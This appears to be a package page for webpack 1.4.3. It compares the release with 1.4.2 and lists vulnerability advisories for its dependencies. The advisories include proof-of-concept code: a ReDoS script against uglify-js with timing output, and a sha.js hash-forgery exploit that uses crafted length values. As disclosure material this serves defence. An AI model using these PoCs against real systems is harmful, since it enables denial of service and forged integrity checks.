Webpack version 1.4.3 arrived shortly after 1.4.2, with a release date just one day later, indicating a likely bug fix or minor update. Both versions provide the core webpack functionality: bundling CommonJs/AMD modules for browser deployment and enabling code splitting for on-demand loading. They also support loaders, vital for preprocessing diverse file types like JSON, Jade, CoffeeScript, CSS, and Less.
The primary visible difference between the two versions lies in the dependencies. Version 1.4.3 updates the tapable dependency from version ~0.1.6 to ~0.1.8. tapable is a small but critical library that provides a plugin system for JavaScript projects and it signals small improvements to webpack's internal plugin system.
For developers, this means that upgrading to 1.4.3 ensures they're using the most up-to-date and potentially more stable version of the tapable dependency. Given the minimal time difference between releases, it's advisable to upgrade to 1.4.3, especially if you're using webpack's plugin system extensively, to benefit from the latest enhancements and potential bug fixes within tapable. Both versions share almost identical tooling regarding development dependencies demonstrating a stable toolchain like mocha, should, and various loaders for CSS, file handling, and templating, which underlines a consistent developer experience when integrating webpack into a project.
All the vulnerabilities related to the version 1.4.3 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
sha.js is missing type checks leading to hash rewind and passing on crafted data
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
See PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
{length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.{ length: buf.length, ...buf, 0: buf[0] + 256 }
This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js){length:'1e99'}